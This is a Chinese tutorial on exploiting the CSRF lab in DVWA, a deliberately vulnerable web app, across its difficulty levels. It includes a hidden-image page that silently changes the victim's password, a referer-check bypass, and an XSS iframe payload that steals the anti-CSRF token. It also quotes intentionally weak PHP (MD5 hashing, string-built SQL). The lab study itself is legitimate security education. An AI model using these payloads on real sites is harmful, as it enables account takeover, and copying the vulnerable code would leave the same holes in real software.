Cross Site Request Forgery (CSRF),跨站点请求伪造,它会让用户在当前经过身份验证的Web应用程序上执行攻击者预订的操作。CSRF攻击专门针对状态更改请求,而不是数据盗窃,因为攻击者无法看到对伪造请求的响应。恶意代码会通过电子邮件或伪装网站,甚至直接链接形式发送给用户,诱骗Web应用程序的用户执行攻击者设定的操作。
如果受害者是普通用户,成功的CSRF攻击会迫使用户执行状态更改请求,如转移资金、更改其电子邮件地址等。如果受害者是管理帐户,CSRF可以危害整个Web应用程序。
当用户的身份认证信息(cookie、会话等)尚未失效,此时他向服务器发送请求是受到信任的,所以恶意操作(如转账、改密等)就会被服务器执行。
下面看实例
low
先操作一下,看结果
其实就是执行了浏览器中的URL就完成了密码修改。
看一下源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
这里唯一干的事情就是比较新旧密码是否正确。修改的用户来自dvwaCurrentUser()函数。在dvwaPage.inc.php中可以查到这个函数和关联函数。
function dvwaCurrentUser() {
$dvwaSession =& dvwaSessionGrab();
return ( isset( $dvwaSession[ 'username' ]) ? $dvwaSession[ 'username' ] : '') ;
}
function &dvwaSessionGrab() {
if( !isset( $_SESSION[ 'dvwa' ] ) ) {
$_SESSION[ 'dvwa' ] = array();
}
return $_SESSION[ 'dvwa' ];
}
function dvwaLogin( $pUsername ) {
$dvwaSession =& dvwaSessionGrab();
$dvwaSession[ 'username' ] = $pUsername;
}
其实用户信息在登录时候会写入session的。攻击者要利用的就是这个保存在浏览器中的信息。
我们可以新建一个test.html文件,内容如下
<img src="http://172.25.137.226/vulnerabilities/csrf/?password_new=456&password_conf=456&Change=Change#" border="0" style="display:none;"/>
<h1>404</h1>
<h2>file not found.</h2>
此时,如果用户在同一浏览器中打开了以上html文件,显示内容如下
用户只会认为网页问题,不会意识到实际他的登录密码已经被修改为456了。
此时可以尝试登录dvwa,密码123已经无效了,只能用456登录。
不过,如果换一个浏览器来打开,那就没有用了。
medium
查看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
增加了以下代码
stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false
说明如下:
- $_SERVER[‘HTTP_REFERER’],获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的 URL 地址,可以做到防盗链作用。只有点击超链接(即< A href=…>) 打开的页面才有HTTP_REFERER环境变量。
通常下面的一些方式,$_SERVER[‘HTTP_REFERER’] 会无效(为空):
1.直接输入网址访问该网页。
2.Javascript 打开的网址。
3.Javascript 重定向(window.location)网址。
4.使用 meta refresh 重定向的网址。
5.使用 PHP header 重定向的网址。
6.flash 中的链接。
7.浏览器未加设置或被用户修改。
所以一般来说,只有通过 < a></ a> 超链接,以及POST或GET表单访问的页面,$_SERVER[‘HTTP_REFERER’] 才有效。
- $_SERVER[ ‘SERVER_NAME’ ],当前服务器
我们操作一下,看看结果
应该知道意思了吧。假设服务器地址是172.25.100.100,那么在提交http请求的referer中也必须出现这个地址字符串。
既然是字符串匹配,那就简单了,只需要把上面test.html改为172.25.100.100.html,然后放入自己伪装的网站就行了。反正只要referer字符串中有172.25.100.100就成功了。
high
继续看代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
这次多了 checkToken,那么如何获得token就是关键了。
我们可以尝试在dvwa中提交一下,可以看到URL如下
http://172.25.100.100/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change&user_token=2acfea0dbe4dcb19e2a1843319f66e88#
看到嘛,多了一个user_token参数。
那么如何获得token呢?
查了网上攻略,此时必须结合XSS来实现。
还记得在反射型XSS攻击 介绍过,dvwa的high级别XSS攻击防御中,只是屏蔽了< script>标签,其他标签依然有效。
所以,此时在浏览器中输入以下URL
http://172.25.100.100/vulnerabilities/xss_r/?name=%3Ciframe+src%3D%22..%2Fcsrf%2F%22+onload%3Dalert%28frames[0].document.getElementsByName%28%27user_token%27%29[0].value%29%3E#
显示以下界面
获得了token。后面该怎么做就不用说了吧。
也就是说,其实如果网页代码中加了token验证,那就需要结合XSS攻击才能CSRF攻击。XSS漏洞如果不存在,那也就这里的CSRF也安全了。
impossible
看源码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
其实就是多了一个现在密码。如下图。
意思是,如果攻击者不知道现在的密码,是不能修改密码的。这个防御逻辑很不错,如果攻击者已经知道现在密码,也不需要CSRF了。